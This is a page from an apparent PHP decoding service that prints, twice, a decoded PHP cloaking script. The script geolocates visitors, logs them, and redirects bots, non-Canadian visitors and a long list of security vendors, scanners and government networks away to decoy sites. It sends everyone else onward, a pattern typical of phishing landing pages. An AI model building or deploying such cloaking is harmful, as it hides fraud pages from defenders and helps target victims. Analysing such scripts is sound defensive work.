Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php session_start(); // Set the allowed country $allowed_country = 'Canada'; // ..
Decoded Output download
<?php
session_start();
// Set the allowed country
$allowed_country = 'Canada';
// List of banned ISPs
$banned_isps = [
'Google LLC',
'Nexicom',
'Microsoft Azure',
'Microsoft Corporation',
'Yahoo! Inc.',
'Baidu, Inc.',
'Yandex LLC',
'Sogou Inc.',
'Exalead SAS',
'DuckDuckGo, Inc.',
'Amazon.com, Inc.',
'Majestic-12 Ltd.',
'Cloudflare, Inc.',
'Tencent Cloud Computing',
'Alibaba Cloud',
'IBM Cloud',
'Oracle Cloud',
'OVH SAS',
'DigitalOcean, LLC',
'Linode, LLC',
'Hetzner Online GmbH',
'LeaseWeb Netherlands B.V.',
'Rackspace Hosting',
'SoftLayer Technologies Inc.',
'Aruba S.p.A.',
'Fastly, Inc.',
'Akamai Technologies, Inc.',
'EdgeCast Networks, Inc.',
'Incapsula Inc.',
'Automattic, Inc.',
'Sucuri',
'OpenDNS, LLC',
'NortonLifeLock Inc.',
'Quad9',
'Verisign, Inc.',
'Neustar, Inc.',
'Seznam.cz, a.s.',
'Qwant SAS',
'Naver Corporation',
'Daum Communications Corp.',
'Startpage BV',
'Swisscows AG',
'Gigablast, Inc.',
'Lycos, Inc.',
'InfoSpace LLC',
'Dogpile LLC',
'WebCrawler.com',
'Ask Jeeves, Inc.',
'Entireweb Sweden AB',
'Mojeek Ltd.',
'Cloudfare, Inc.',
'Search Encrypt',
'Meta Platforms, Inc.',
'Apple Inc.',
'Cisco Systems, Inc.',
'Huawei Technologies Co., Ltd.',
'Palo Alto Networks, Inc.',
'Fortinet, Inc.',
'Check Point Software Technologies Ltd.',
'Juniper Networks, Inc.',
'Censys, Inc.',
'Shodan, LLC',
'Zoomeye',
'Fofa',
'Scrapy',
'Scrapinghub',
'ScrapingBee',
'Ahrefs',
'Semrush',
'Moz',
'Ubersuggest',
'CommonCrawl',
'Netcraft',
'BuiltWith',
'Wappalyzer',
'Datanyze',
'SimilarWeb',
'SpyFu',
'SEOmonitor',
'Serpstat',
'Digital Ocean',
'MariposaNet',
'M247 Ltd',
'Start Communications',
'MCSNet',
'Nova Scotia Provincial Government',
'Digital Ocean',
'Symantec Endpoint Protection',
'OVH SAS',
'The Department of National Defence and the Canadia',
'ServerMania'
// Add more ISPs as needed
];
// List of URLs for redirection
$urls = [
'https://www.oracle.com/',
'https://www.java.com/en/',
'https://www.youtube.com/',
// Add more URLs as needed
];
// Get the user's user agent and IP address
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$ip_address = $_SERVER['REMOTE_ADDR'];
// Get geolocation data using cURL
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, "https://api.ip.sb/geoip/{$ip_address}");
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$geolocation_data = curl_exec($curl);
curl_close($curl);
$geolocation = json_decode($geolocation_data, true);
$country = $geolocation['country'] ?? 'Unknown';
$isp = $geolocation['isp'] ?? 'Unknown';
// List of known bot user agents
$bot_user_agents = [
'Googlebot', 'Bingbot', 'Slurp', 'DuckDuckBot', 'Baiduspider', 'YandexBot',
'Sogou', 'Exabot', 'facebot', 'ia_archiver', 'AhrefsBot', 'MJ12bot', 'SemrushBot',
'DotBot', 'Gigabot', 'msnbot', 'Teoma', 'Twiceler', 'Scrubby', 'Robozilla',
'Girafabot', 'Bimbot', 'Speedy', 'Qwantify', 'ZoominfoBot', 'MicrosoftBot',
'AmazonBot', 'Uptimebot', 'Barkrowler', 'YisouSpider', 'Bytespider', 'LinkedInBot',
'Twitterbot', 'Applebot', 'WhatsApp', 'Panscient', 'CCBot', 'Yeti', 'Naver',
'SeznamBot', 'MojeekBot', 'AlexaBot', 'Curl', 'Wget', 'Discordbot', 'ArchiveBot',
'NetcraftSurveyAgent', 'PhantomJS', 'Google-Structured-Data-Testing-Tool',
'Pinterestbot', 'MegaIndex', 'Blexbot', 'SEOkicks', 'RyteBot', 'YandexImages',
'YandexVideo', 'YandexMedia', 'YandexBlogs', 'YandexFavicons', 'YandexWebmaster',
'YandexPagechecker', 'YandexImageResizer', 'YandexDirect', 'YandexMetrika',
'YandexNews', 'YandexCatalog', 'YandexAntivirus', 'YandexMarket', 'YandexVerticals',
'BaiduSpider', 'SosoSpider', 'SogouSpider', 'GoogleFeedfetcher', 'FacebookExternalHit',
'YandexAudience', 'YandexAfisha', 'YandexMaps', 'YandexMailer', 'YandexBrowser'
// You can add more bot user agents here
];
$is_bot = false;
// Check if the user agent matches any known bot user agents
foreach ($bot_user_agents as $bot_user_agent) {
if (stripos($user_agent, $bot_user_agent) !== false) {
$is_bot = true;
break;
}
}
// Check if the ISP is banned
$is_banned_isp = in_array($isp, $banned_isps);
// Redirect the user based on whether they are a bot or not, and check if the country is allowed
if ($is_bot || $country !== $allowed_country || $is_banned_isp) {
// Save the visit data in the visits.html file with red color
$filename = 'visitsBAD.html';
$data = "<p style='color:red;'>IP Address: {$ip_address}, Country: {$country}, ISP: {$isp}, User Agent: {$user_agent}</p>";
file_put_contents($filename, $data, FILE_APPEND | LOCK_EX);
$random_url = $urls[array_rand($urls)];
header("Location: {$random_url}"); // Redirect bots, visitors from disallowed countries, or banned ISPs to a random URL
exit();
} else {
// Save the visit data in the visits.html file with green color
$filename = 'visitsGOOD.html';
$data = "<p style='color:green;'>IP Address: {$ip_address}, Country: {$country}, ISP: {$isp}, User Agent: {$user_agent}</p>";
file_put_contents($filename, $data, FILE_APPEND | LOCK_EX);
header('Location: www.yahoo.com'); // Redirect real visitors from the allowed country and not banned ISPs
exit();
}
?>
Did this file decode correctly?
Original Code
<?php
session_start();
// Set the allowed country
$allowed_country = 'Canada';
// List of banned ISPs
$banned_isps = [
'Google LLC',
'Nexicom',
'Microsoft Azure',
'Microsoft Corporation',
'Yahoo! Inc.',
'Baidu, Inc.',
'Yandex LLC',
'Sogou Inc.',
'Exalead SAS',
'DuckDuckGo, Inc.',
'Amazon.com, Inc.',
'Majestic-12 Ltd.',
'Cloudflare, Inc.',
'Tencent Cloud Computing',
'Alibaba Cloud',
'IBM Cloud',
'Oracle Cloud',
'OVH SAS',
'DigitalOcean, LLC',
'Linode, LLC',
'Hetzner Online GmbH',
'LeaseWeb Netherlands B.V.',
'Rackspace Hosting',
'SoftLayer Technologies Inc.',
'Aruba S.p.A.',
'Fastly, Inc.',
'Akamai Technologies, Inc.',
'EdgeCast Networks, Inc.',
'Incapsula Inc.',
'Automattic, Inc.',
'Sucuri',
'OpenDNS, LLC',
'NortonLifeLock Inc.',
'Quad9',
'Verisign, Inc.',
'Neustar, Inc.',
'Seznam.cz, a.s.',
'Qwant SAS',
'Naver Corporation',
'Daum Communications Corp.',
'Startpage BV',
'Swisscows AG',
'Gigablast, Inc.',
'Lycos, Inc.',
'InfoSpace LLC',
'Dogpile LLC',
'WebCrawler.com',
'Ask Jeeves, Inc.',
'Entireweb Sweden AB',
'Mojeek Ltd.',
'Cloudfare, Inc.',
'Search Encrypt',
'Meta Platforms, Inc.',
'Apple Inc.',
'Cisco Systems, Inc.',
'Huawei Technologies Co., Ltd.',
'Palo Alto Networks, Inc.',
'Fortinet, Inc.',
'Check Point Software Technologies Ltd.',
'Juniper Networks, Inc.',
'Censys, Inc.',
'Shodan, LLC',
'Zoomeye',
'Fofa',
'Scrapy',
'Scrapinghub',
'ScrapingBee',
'Ahrefs',
'Semrush',
'Moz',
'Ubersuggest',
'CommonCrawl',
'Netcraft',
'BuiltWith',
'Wappalyzer',
'Datanyze',
'SimilarWeb',
'SpyFu',
'SEOmonitor',
'Serpstat',
'Digital Ocean',
'MariposaNet',
'M247 Ltd',
'Start Communications',
'MCSNet',
'Nova Scotia Provincial Government',
'Digital Ocean',
'Symantec Endpoint Protection',
'OVH SAS',
'The Department of National Defence and the Canadia',
'ServerMania'
// Add more ISPs as needed
];
// List of URLs for redirection
$urls = [
'https://www.oracle.com/',
'https://www.java.com/en/',
'https://www.youtube.com/',
// Add more URLs as needed
];
// Get the user's user agent and IP address
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$ip_address = $_SERVER['REMOTE_ADDR'];
// Get geolocation data using cURL
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, "https://api.ip.sb/geoip/{$ip_address}");
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$geolocation_data = curl_exec($curl);
curl_close($curl);
$geolocation = json_decode($geolocation_data, true);
$country = $geolocation['country'] ?? 'Unknown';
$isp = $geolocation['isp'] ?? 'Unknown';
// List of known bot user agents
$bot_user_agents = [
'Googlebot', 'Bingbot', 'Slurp', 'DuckDuckBot', 'Baiduspider', 'YandexBot',
'Sogou', 'Exabot', 'facebot', 'ia_archiver', 'AhrefsBot', 'MJ12bot', 'SemrushBot',
'DotBot', 'Gigabot', 'msnbot', 'Teoma', 'Twiceler', 'Scrubby', 'Robozilla',
'Girafabot', 'Bimbot', 'Speedy', 'Qwantify', 'ZoominfoBot', 'MicrosoftBot',
'AmazonBot', 'Uptimebot', 'Barkrowler', 'YisouSpider', 'Bytespider', 'LinkedInBot',
'Twitterbot', 'Applebot', 'WhatsApp', 'Panscient', 'CCBot', 'Yeti', 'Naver',
'SeznamBot', 'MojeekBot', 'AlexaBot', 'Curl', 'Wget', 'Discordbot', 'ArchiveBot',
'NetcraftSurveyAgent', 'PhantomJS', 'Google-Structured-Data-Testing-Tool',
'Pinterestbot', 'MegaIndex', 'Blexbot', 'SEOkicks', 'RyteBot', 'YandexImages',
'YandexVideo', 'YandexMedia', 'YandexBlogs', 'YandexFavicons', 'YandexWebmaster',
'YandexPagechecker', 'YandexImageResizer', 'YandexDirect', 'YandexMetrika',
'YandexNews', 'YandexCatalog', 'YandexAntivirus', 'YandexMarket', 'YandexVerticals',
'BaiduSpider', 'SosoSpider', 'SogouSpider', 'GoogleFeedfetcher', 'FacebookExternalHit',
'YandexAudience', 'YandexAfisha', 'YandexMaps', 'YandexMailer', 'YandexBrowser'
// You can add more bot user agents here
];
$is_bot = false;
// Check if the user agent matches any known bot user agents
foreach ($bot_user_agents as $bot_user_agent) {
if (stripos($user_agent, $bot_user_agent) !== false) {
$is_bot = true;
break;
}
}
// Check if the ISP is banned
$is_banned_isp = in_array($isp, $banned_isps);
// Redirect the user based on whether they are a bot or not, and check if the country is allowed
if ($is_bot || $country !== $allowed_country || $is_banned_isp) {
// Save the visit data in the visits.html file with red color
$filename = 'visitsBAD.html';
$data = "<p style='color:red;'>IP Address: {$ip_address}, Country: {$country}, ISP: {$isp}, User Agent: {$user_agent}</p>";
file_put_contents($filename, $data, FILE_APPEND | LOCK_EX);
$random_url = $urls[array_rand($urls)];
header("Location: {$random_url}"); // Redirect bots, visitors from disallowed countries, or banned ISPs to a random URL
exit();
} else {
// Save the visit data in the visits.html file with green color
$filename = 'visitsGOOD.html';
$data = "<p style='color:green;'>IP Address: {$ip_address}, Country: {$country}, ISP: {$isp}, User Agent: {$user_agent}</p>";
file_put_contents($filename, $data, FILE_APPEND | LOCK_EX);
header('Location: www.yahoo.com'); // Redirect real visitors from the allowed country and not banned ISPs
exit();
}
Function Calls
None |
Stats
MD5 | adfb5f2eb127c1ba77b6c7fdb0df85b1 |
Eval Count | 0 |
Decode Time | 74 ms |